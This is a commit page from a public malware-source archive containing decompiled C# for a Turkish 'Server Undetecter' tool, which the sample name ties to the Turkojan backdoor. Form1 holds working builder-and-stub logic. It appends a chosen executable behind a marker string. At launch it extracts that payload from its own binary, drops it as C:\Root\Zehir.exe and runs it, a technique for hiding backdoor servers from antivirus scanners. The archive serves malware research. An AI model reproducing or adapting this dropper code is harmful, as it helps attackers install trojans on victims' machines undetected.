mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-21 02:09:25 +00:00
auto-decompiled msil via petikvx
add
This commit is contained in:
vxunderground
+13
@@ -0,0 +1,13 @@
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
[assembly: AssemblyProduct("Server Undetecter")]
|
||||
[assembly: AssemblyTitle("Server Undetecter")]
|
||||
[assembly: AssemblyCopyright("Copyright © FEDERIKO 2010")]
|
||||
[assembly: AssemblyCompany("Cyber-Warrior TİM")]
|
||||
[assembly: AssemblyDescription("Coded By FEDERIKO")]
|
||||
[assembly: Guid("766f4b67-7883-4e52-b4c2-6aa8be6d0e45")]
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: AssemblyFileVersion("1.0.0.0")]
|
||||
[assembly: ComVisible(false)]
|
||||
[assembly: AssemblyVersion("1.0.0.0")]
|
||||
+55
@@ -0,0 +1,55 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.Turkojan.zwh-5af17d13c3e916217850f653e93ff6551f2e2da64506ec4362f38396c7d2d2df.exe-->
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{FE569521-7CB3-4FC5-AA1A-5BD9CF9C3EDC}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<AssemblyName>Server Undetecter</AssemblyName>
|
||||
<ApplicationVersion>1.0.0.0</ApplicationVersion>
|
||||
<RootNamespace>Server_Undetecter</RootNamespace>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="Microsoft.VisualBasic" />
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Drawing" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="Form1.cs" />
|
||||
<Compile Include="Form2.cs" />
|
||||
<Compile Include="My\MyApplication.cs" />
|
||||
<Compile Include="My\MyComputer.cs" />
|
||||
<Compile Include="My\MyProject.cs" />
|
||||
<Compile Include="My\MySettings.cs" />
|
||||
<Compile Include="My\MySettingsProperty.cs" />
|
||||
<Compile Include="My\Resources\Resources.cs" />
|
||||
<Compile Include="AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include="Form1.resx" />
|
||||
<EmbeddedResource Include="Form2.resx" />
|
||||
<EmbeddedResource Include="Resources.resx" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 9.00
|
||||
# Visual Studio 2005
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Server Undetecter", "Backdoor.Win32.Turkojan.zwh-5af17d13c3e916217850f653e93ff6551f2e2da64506ec4362f38396c7d2d2df.csproj", "{FE569521-7CB3-4FC5-AA1A-5BD9CF9C3EDC}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{FE569521-7CB3-4FC5-AA1A-5BD9CF9C3EDC}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{FE569521-7CB3-4FC5-AA1A-5BD9CF9C3EDC}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{FE569521-7CB3-4FC5-AA1A-5BD9CF9C3EDC}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{FE569521-7CB3-4FC5-AA1A-5BD9CF9C3EDC}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
+503
@@ -0,0 +1,503 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Server_Undetecter.Form1
|
||||
// Assembly: Server Undetecter, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D5DD5A11-3E2A-4F57-B42E-07C8FDDA9C7E
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.Turkojan.zwh-5af17d13c3e916217850f653e93ff6551f2e2da64506ec4362f38396c7d2d2df.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using Server_Undetecter.My;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Server_Undetecter
|
||||
{
|
||||
[DesignerGenerated]
|
||||
public class Form1 : Form
|
||||
{
|
||||
private IContainer components;
|
||||
[AccessedThroughProperty("PictureBox1")]
|
||||
private PictureBox _PictureBox1;
|
||||
[AccessedThroughProperty("TextBox1")]
|
||||
private TextBox _TextBox1;
|
||||
[AccessedThroughProperty("Button1")]
|
||||
private Button _Button1;
|
||||
[AccessedThroughProperty("RadioButton1")]
|
||||
private RadioButton _RadioButton1;
|
||||
[AccessedThroughProperty("RadioButton2")]
|
||||
private RadioButton _RadioButton2;
|
||||
[AccessedThroughProperty("RadioButton3")]
|
||||
private RadioButton _RadioButton3;
|
||||
[AccessedThroughProperty("Button2")]
|
||||
private Button _Button2;
|
||||
[AccessedThroughProperty("Button3")]
|
||||
private Button _Button3;
|
||||
[AccessedThroughProperty("OpenFileDialog1")]
|
||||
private OpenFileDialog _OpenFileDialog1;
|
||||
[AccessedThroughProperty("SaveFileDialog1")]
|
||||
private SaveFileDialog _SaveFileDialog1;
|
||||
private string[] Oku;
|
||||
private string Server;
|
||||
private string İsim;
|
||||
private string GömülmüşServer;
|
||||
private string Builder;
|
||||
private const string Yarık = "#FEDERIKO's Laß#";
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
public Form1()
|
||||
{
|
||||
this.Load += new EventHandler(this.Form1_Load);
|
||||
this.InitializeComponent();
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (!disposing || this.components == null)
|
||||
return;
|
||||
this.components.Dispose();
|
||||
}
|
||||
finally
|
||||
{
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerStepThrough]
|
||||
private void InitializeComponent()
|
||||
{
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (Form1));
|
||||
this.PictureBox1 = new PictureBox();
|
||||
this.TextBox1 = new TextBox();
|
||||
this.Button1 = new Button();
|
||||
this.RadioButton1 = new RadioButton();
|
||||
this.RadioButton2 = new RadioButton();
|
||||
this.RadioButton3 = new RadioButton();
|
||||
this.Button2 = new Button();
|
||||
this.Button3 = new Button();
|
||||
this.OpenFileDialog1 = new OpenFileDialog();
|
||||
this.SaveFileDialog1 = new SaveFileDialog();
|
||||
((ISupportInitialize) this.PictureBox1).BeginInit();
|
||||
this.SuspendLayout();
|
||||
this.PictureBox1.Image = (Image) Server_Undetecter.My.Resources.Resources.Whack_20MS_20Access;
|
||||
PictureBox pictureBox1_1 = this.PictureBox1;
|
||||
Point point1 = new Point(12, 12);
|
||||
Point point2 = point1;
|
||||
pictureBox1_1.Location = point2;
|
||||
this.PictureBox1.Name = "PictureBox1";
|
||||
PictureBox pictureBox1_2 = this.PictureBox1;
|
||||
Size size1 = new Size(120, 120);
|
||||
Size size2 = size1;
|
||||
pictureBox1_2.Size = size2;
|
||||
this.PictureBox1.SizeMode = PictureBoxSizeMode.StretchImage;
|
||||
this.PictureBox1.TabIndex = 0;
|
||||
this.PictureBox1.TabStop = false;
|
||||
TextBox textBox1_1 = this.TextBox1;
|
||||
point1 = new Point(138, 12);
|
||||
Point point3 = point1;
|
||||
textBox1_1.Location = point3;
|
||||
this.TextBox1.Name = "TextBox1";
|
||||
TextBox textBox1_2 = this.TextBox1;
|
||||
size1 = new Size(170, 21);
|
||||
Size size3 = size1;
|
||||
textBox1_2.Size = size3;
|
||||
this.TextBox1.TabIndex = 1;
|
||||
Button button1_1 = this.Button1;
|
||||
point1 = new Point(138, 109);
|
||||
Point point4 = point1;
|
||||
button1_1.Location = point4;
|
||||
this.Button1.Name = "Button1";
|
||||
Button button1_2 = this.Button1;
|
||||
size1 = new Size(121, 23);
|
||||
Size size4 = size1;
|
||||
button1_2.Size = size4;
|
||||
this.Button1.TabIndex = 2;
|
||||
this.Button1.Text = "Undetect Server !";
|
||||
this.Button1.UseVisualStyleBackColor = true;
|
||||
this.RadioButton1.Checked = true;
|
||||
RadioButton radioButton1_1 = this.RadioButton1;
|
||||
point1 = new Point(138, 39);
|
||||
Point point5 = point1;
|
||||
radioButton1_1.Location = point5;
|
||||
this.RadioButton1.Name = "RadioButton1";
|
||||
RadioButton radioButton1_2 = this.RadioButton1;
|
||||
size1 = new Size(203, 17);
|
||||
Size size5 = size1;
|
||||
radioButton1_2.Size = size5;
|
||||
this.RadioButton1.TabIndex = 3;
|
||||
this.RadioButton1.TabStop = true;
|
||||
this.RadioButton1.Text = "Binary";
|
||||
this.RadioButton1.UseVisualStyleBackColor = true;
|
||||
RadioButton radioButton2_1 = this.RadioButton2;
|
||||
point1 = new Point(138, 62);
|
||||
Point point6 = point1;
|
||||
radioButton2_1.Location = point6;
|
||||
this.RadioButton2.Name = "RadioButton2";
|
||||
RadioButton radioButton2_2 = this.RadioButton2;
|
||||
size1 = new Size(203, 17);
|
||||
Size size6 = size1;
|
||||
radioButton2_2.Size = size6;
|
||||
this.RadioButton2.TabIndex = 4;
|
||||
this.RadioButton2.Text = "Hex Code";
|
||||
this.RadioButton2.UseVisualStyleBackColor = true;
|
||||
RadioButton radioButton3_1 = this.RadioButton3;
|
||||
point1 = new Point(138, 85);
|
||||
Point point7 = point1;
|
||||
radioButton3_1.Location = point7;
|
||||
this.RadioButton3.Name = "RadioButton3";
|
||||
RadioButton radioButton3_2 = this.RadioButton3;
|
||||
size1 = new Size(203, 17);
|
||||
Size size7 = size1;
|
||||
radioButton3_2.Size = size7;
|
||||
this.RadioButton3.TabIndex = 5;
|
||||
this.RadioButton3.Text = "Hash Code";
|
||||
this.RadioButton3.UseVisualStyleBackColor = true;
|
||||
Button button2_1 = this.Button2;
|
||||
point1 = new Point(310, 11);
|
||||
Point point8 = point1;
|
||||
button2_1.Location = point8;
|
||||
this.Button2.Name = "Button2";
|
||||
Button button2_2 = this.Button2;
|
||||
size1 = new Size(31, 23);
|
||||
Size size8 = size1;
|
||||
button2_2.Size = size8;
|
||||
this.Button2.TabIndex = 6;
|
||||
this.Button2.Text = "---";
|
||||
this.Button2.UseVisualStyleBackColor = true;
|
||||
Button button3_1 = this.Button3;
|
||||
point1 = new Point(265, 109);
|
||||
Point point9 = point1;
|
||||
button3_1.Location = point9;
|
||||
this.Button3.Name = "Button3";
|
||||
Button button3_2 = this.Button3;
|
||||
size1 = new Size(76, 23);
|
||||
Size size9 = size1;
|
||||
button3_2.Size = size9;
|
||||
this.Button3.TabIndex = 7;
|
||||
this.Button3.Text = "Hakkında";
|
||||
this.Button3.UseVisualStyleBackColor = true;
|
||||
this.OpenFileDialog1.Filter = "Server (*.exe; *.scr; *.pif; *.com; *.dll)|*.exe; *.scr; *.pif; *.com; *.dll";
|
||||
this.OpenFileDialog1.ShowHelp = true;
|
||||
this.OpenFileDialog1.Title = "Server Aç";
|
||||
this.SaveFileDialog1.Filter = "Uygulama (*.exe)|*.exe";
|
||||
this.SaveFileDialog1.ShowHelp = true;
|
||||
this.SaveFileDialog1.Title = "Kaydet";
|
||||
this.AutoScaleDimensions = new SizeF(7f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.BackColor = Color.Black;
|
||||
size1 = new Size(353, 144);
|
||||
this.ClientSize = size1;
|
||||
this.Controls.Add((Control) this.Button3);
|
||||
this.Controls.Add((Control) this.Button2);
|
||||
this.Controls.Add((Control) this.RadioButton3);
|
||||
this.Controls.Add((Control) this.RadioButton2);
|
||||
this.Controls.Add((Control) this.RadioButton1);
|
||||
this.Controls.Add((Control) this.Button1);
|
||||
this.Controls.Add((Control) this.TextBox1);
|
||||
this.Controls.Add((Control) this.PictureBox1);
|
||||
this.Font = new Font("Verdana", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 162);
|
||||
this.ForeColor = Color.DimGray;
|
||||
this.FormBorderStyle = FormBorderStyle.FixedToolWindow;
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.MaximizeBox = false;
|
||||
this.MinimizeBox = false;
|
||||
this.Name = nameof (Form1);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = "FEDERIKO's Server Undetecter";
|
||||
((ISupportInitialize) this.PictureBox1).EndInit();
|
||||
this.ResumeLayout(false);
|
||||
this.PerformLayout();
|
||||
}
|
||||
|
||||
internal virtual PictureBox PictureBox1
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._PictureBox1;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._PictureBox1 = value;
|
||||
}
|
||||
|
||||
internal virtual TextBox TextBox1
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._TextBox1;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox1 = value;
|
||||
}
|
||||
|
||||
internal virtual Button Button1
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._Button1;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
|
||||
{
|
||||
EventHandler eventHandler = new EventHandler(this.Button1_Click);
|
||||
if (this._Button1 != null)
|
||||
this._Button1.Click -= eventHandler;
|
||||
this._Button1 = value;
|
||||
if (this._Button1 == null)
|
||||
return;
|
||||
this._Button1.Click += eventHandler;
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual RadioButton RadioButton1
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._RadioButton1;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
|
||||
{
|
||||
EventHandler eventHandler = new EventHandler(this.RadioButton1_CheckedChanged);
|
||||
if (this._RadioButton1 != null)
|
||||
this._RadioButton1.CheckedChanged -= eventHandler;
|
||||
this._RadioButton1 = value;
|
||||
if (this._RadioButton1 == null)
|
||||
return;
|
||||
this._RadioButton1.CheckedChanged += eventHandler;
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual RadioButton RadioButton2
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._RadioButton2;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
|
||||
{
|
||||
EventHandler eventHandler = new EventHandler(this.RadioButton2_CheckedChanged);
|
||||
if (this._RadioButton2 != null)
|
||||
this._RadioButton2.CheckedChanged -= eventHandler;
|
||||
this._RadioButton2 = value;
|
||||
if (this._RadioButton2 == null)
|
||||
return;
|
||||
this._RadioButton2.CheckedChanged += eventHandler;
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual RadioButton RadioButton3
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._RadioButton3;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
|
||||
{
|
||||
EventHandler eventHandler = new EventHandler(this.RadioButton3_CheckedChanged);
|
||||
if (this._RadioButton3 != null)
|
||||
this._RadioButton3.CheckedChanged -= eventHandler;
|
||||
this._RadioButton3 = value;
|
||||
if (this._RadioButton3 == null)
|
||||
return;
|
||||
this._RadioButton3.CheckedChanged += eventHandler;
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual Button Button2
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._Button2;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
|
||||
{
|
||||
EventHandler eventHandler = new EventHandler(this.Button2_Click);
|
||||
if (this._Button2 != null)
|
||||
this._Button2.Click -= eventHandler;
|
||||
this._Button2 = value;
|
||||
if (this._Button2 == null)
|
||||
return;
|
||||
this._Button2.Click += eventHandler;
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual Button Button3
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._Button3;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
|
||||
{
|
||||
EventHandler eventHandler = new EventHandler(this.Button3_Click);
|
||||
if (this._Button3 != null)
|
||||
this._Button3.Click -= eventHandler;
|
||||
this._Button3 = value;
|
||||
if (this._Button3 == null)
|
||||
return;
|
||||
this._Button3.Click += eventHandler;
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual OpenFileDialog OpenFileDialog1
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._OpenFileDialog1;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._OpenFileDialog1 = value;
|
||||
}
|
||||
|
||||
internal virtual SaveFileDialog SaveFileDialog1
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._SaveFileDialog1;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._SaveFileDialog1 = value;
|
||||
}
|
||||
|
||||
private void Form1_Load(object sender, EventArgs e)
|
||||
{
|
||||
int num1;
|
||||
int num2;
|
||||
try
|
||||
{
|
||||
FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared);
|
||||
this.Builder = Strings.Space(checked ((int) FileSystem.LOF(1)));
|
||||
FileSystem.FileGet(1, ref this.Builder);
|
||||
FileSystem.FileClose(1);
|
||||
ProjectData.ClearProjectError();
|
||||
num1 = 2;
|
||||
this.İsim = "Zehir.exe";
|
||||
FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared);
|
||||
this.GömülmüşServer = Strings.Space(checked ((int) FileSystem.LOF(1)));
|
||||
FileSystem.FileGet(1, ref this.GömülmüşServer);
|
||||
FileSystem.FileClose(1);
|
||||
this.Oku = Strings.Split(this.GömülmüşServer, "#FEDERIKO's Laß#");
|
||||
this.GömülmüşServer = this.Oku[1];
|
||||
this.Klasör();
|
||||
FileSystem.FileOpen(1, "C:\\Root\\" + this.İsim, OpenMode.Binary, OpenAccess.ReadWrite);
|
||||
FileSystem.FilePut(1, this.GömülmüşServer, -1L, false);
|
||||
FileSystem.FileClose(1);
|
||||
Process.Start("C:\\Root\\" + this.İsim);
|
||||
this.Close();
|
||||
goto label_6;
|
||||
label_1:
|
||||
num2 = -1;
|
||||
switch (num1)
|
||||
{
|
||||
case 2:
|
||||
goto label_6;
|
||||
}
|
||||
}
|
||||
catch (Exception ex) when (
|
||||
{
|
||||
// ISSUE: unable to correctly present filter
|
||||
int num3;
|
||||
if (ex is Exception & num1 != 0 & num3 == 0)
|
||||
{
|
||||
SuccessfulFiltering;
|
||||
}
|
||||
else
|
||||
throw;
|
||||
}
|
||||
)
|
||||
{
|
||||
ProjectData.SetProjectError(ex);
|
||||
goto label_1;
|
||||
}
|
||||
throw ProjectData.CreateProjectError(-2146828237);
|
||||
label_6:
|
||||
if (num2 == 0)
|
||||
return;
|
||||
ProjectData.ClearProjectError();
|
||||
}
|
||||
|
||||
private void Klasör()
|
||||
{
|
||||
label_0:
|
||||
int num1;
|
||||
int num2;
|
||||
try
|
||||
{
|
||||
ProjectData.ClearProjectError();
|
||||
num1 = -2;
|
||||
label_1:
|
||||
int num3 = 2;
|
||||
if (!MyProject.Computer.FileSystem.FileExists("C:\\Root\\Zehir.exe"))
|
||||
goto label_3;
|
||||
label_2:
|
||||
num3 = 3;
|
||||
MyProject.Computer.FileSystem.DeleteFile("C:\\Root\\Zehir.exe");
|
||||
label_3:
|
||||
num3 = 5;
|
||||
if (MyProject.Computer.FileSystem.DirectoryExists("C:\\Root"))
|
||||
goto label_12;
|
||||
label_4:
|
||||
num3 = 7;
|
||||
label_5:
|
||||
num3 = 8;
|
||||
MyProject.Computer.FileSystem.CreateDirectory("C:\\Root");
|
||||
goto label_12;
|
||||
label_7:
|
||||
num2 = num3;
|
||||
switch (num1 > -2 ? num1 : 1)
|
||||
{
|
||||
case 1:
|
||||
int num4 = num2 + 1;
|
||||
num2 = 0;
|
||||
switch (num4)
|
||||
{
|
||||
case 1:
|
||||
goto label_0;
|
||||
case 2:
|
||||
goto label_1;
|
||||
case 3:
|
||||
goto label_2;
|
||||
case 4:
|
||||
case 5:
|
||||
goto label_3;
|
||||
case 6:
|
||||
case 9:
|
||||
case 10:
|
||||
goto label_12;
|
||||
case 7:
|
||||
goto label_4;
|
||||
case 8:
|
||||
goto label_5;
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
|
||||
{
|
||||
ProjectData.SetProjectError(ex);
|
||||
goto label_7;
|
||||
}
|
||||
throw ProjectData.CreateProjectError(-2146828237);
|
||||
label_12:
|
||||
if (num2 == 0)
|
||||
return;
|
||||
ProjectData.ClearProjectError();
|
||||
}
|
||||
|
||||
private void Button2_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (this.OpenFileDialog1.ShowDialog() != DialogResult.OK)
|
||||
return;
|
||||
FileSystem.FileOpen(1, this.OpenFileDialog1.FileName, OpenMode.Binary, OpenAccess.Read);
|
||||
this.Server = Strings.Space(checked ((int) FileSystem.LOF(1)));
|
||||
FileSystem.FileGet(1, ref this.Server);
|
||||
FileSystem.FileClose(1);
|
||||
this.TextBox1.Text = this.OpenFileDialog1.FileName;
|
||||
}
|
||||
|
||||
private void Button1_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (this.SaveFileDialog1.ShowDialog() != DialogResult.OK)
|
||||
return;
|
||||
FileSystem.FileOpen(1, this.SaveFileDialog1.FileName, OpenMode.Binary, OpenAccess.ReadWrite);
|
||||
FileSystem.FilePut(1, this.Builder + "#FEDERIKO's Laß#" + this.Server + "\r\n\r\n#Coded By FEDERIKO#", -1L, false);
|
||||
FileSystem.FileClose(1);
|
||||
}
|
||||
|
||||
private void RadioButton1_CheckedChanged(object sender, EventArgs e)
|
||||
{
|
||||
if (!this.RadioButton1.Checked)
|
||||
return;
|
||||
this.İsim = "BinaryZehir.exe";
|
||||
}
|
||||
|
||||
private void RadioButton2_CheckedChanged(object sender, EventArgs e)
|
||||
{
|
||||
if (!this.RadioButton2.Checked)
|
||||
return;
|
||||
this.İsim = "HexZehir.exe";
|
||||
}
|
||||
|
||||
private void RadioButton3_CheckedChanged(object sender, EventArgs e)
|
||||
{
|
||||
if (!this.RadioButton3.Checked)
|
||||
return;
|
||||
this.İsim = "HashZehir.exe";
|
||||
}
|
||||
|
||||
private void Button3_Click(object sender, EventArgs e)
|
||||
{
|
||||
int num = (int) MyProject.Forms.Form2.ShowDialog();
|
||||
}
|
||||
}
|
||||
}
|
||||
+123
File diff suppressed because one or more lines are too long
+80
@@ -0,0 +1,80 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Server_Undetecter.Form2
|
||||
// Assembly: Server Undetecter, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D5DD5A11-3E2A-4F57-B42E-07C8FDDA9C7E
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.Turkojan.zwh-5af17d13c3e916217850f653e93ff6551f2e2da64506ec4362f38396c7d2d2df.exe
|
||||
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Server_Undetecter
|
||||
{
|
||||
[DesignerGenerated]
|
||||
public class Form2 : Form
|
||||
{
|
||||
private IContainer components;
|
||||
[AccessedThroughProperty("Label1")]
|
||||
private Label _Label1;
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
public Form2() => this.InitializeComponent();
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (!disposing || this.components == null)
|
||||
return;
|
||||
this.components.Dispose();
|
||||
}
|
||||
finally
|
||||
{
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerStepThrough]
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.Label1 = new Label();
|
||||
this.SuspendLayout();
|
||||
this.Label1.BackColor = Color.Black;
|
||||
this.Label1.Dock = DockStyle.Fill;
|
||||
this.Label1.ForeColor = Color.DimGray;
|
||||
this.Label1.Location = new Point(0, 0);
|
||||
this.Label1.Name = "Label1";
|
||||
Label label1 = this.Label1;
|
||||
Size size1 = new Size(162, 108);
|
||||
Size size2 = size1;
|
||||
label1.Size = size2;
|
||||
this.Label1.TabIndex = 8;
|
||||
this.Label1.Text = "<- Coded By FEDERIKO ->\r\nHattaß | Rapboy | FEDERIKO\r\n\r\nSelam Olsun: \r\nCWSuskun\r\nSefa Şeker\r\nLethea";
|
||||
this.Label1.TextAlign = ContentAlignment.MiddleCenter;
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
size1 = new Size(162, 108);
|
||||
this.ClientSize = size1;
|
||||
this.Controls.Add((Control) this.Label1);
|
||||
this.FormBorderStyle = FormBorderStyle.FixedToolWindow;
|
||||
this.MaximizeBox = false;
|
||||
this.MinimizeBox = false;
|
||||
this.Name = nameof (Form2);
|
||||
this.ShowIcon = false;
|
||||
this.ShowInTaskbar = false;
|
||||
this.StartPosition = FormStartPosition.CenterParent;
|
||||
this.Text = "Hakkında";
|
||||
this.ResumeLayout(false);
|
||||
}
|
||||
|
||||
internal virtual Label Label1
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._Label1;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label1 = value;
|
||||
}
|
||||
}
|
||||
}
|
||||
+120
@@ -0,0 +1,120 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
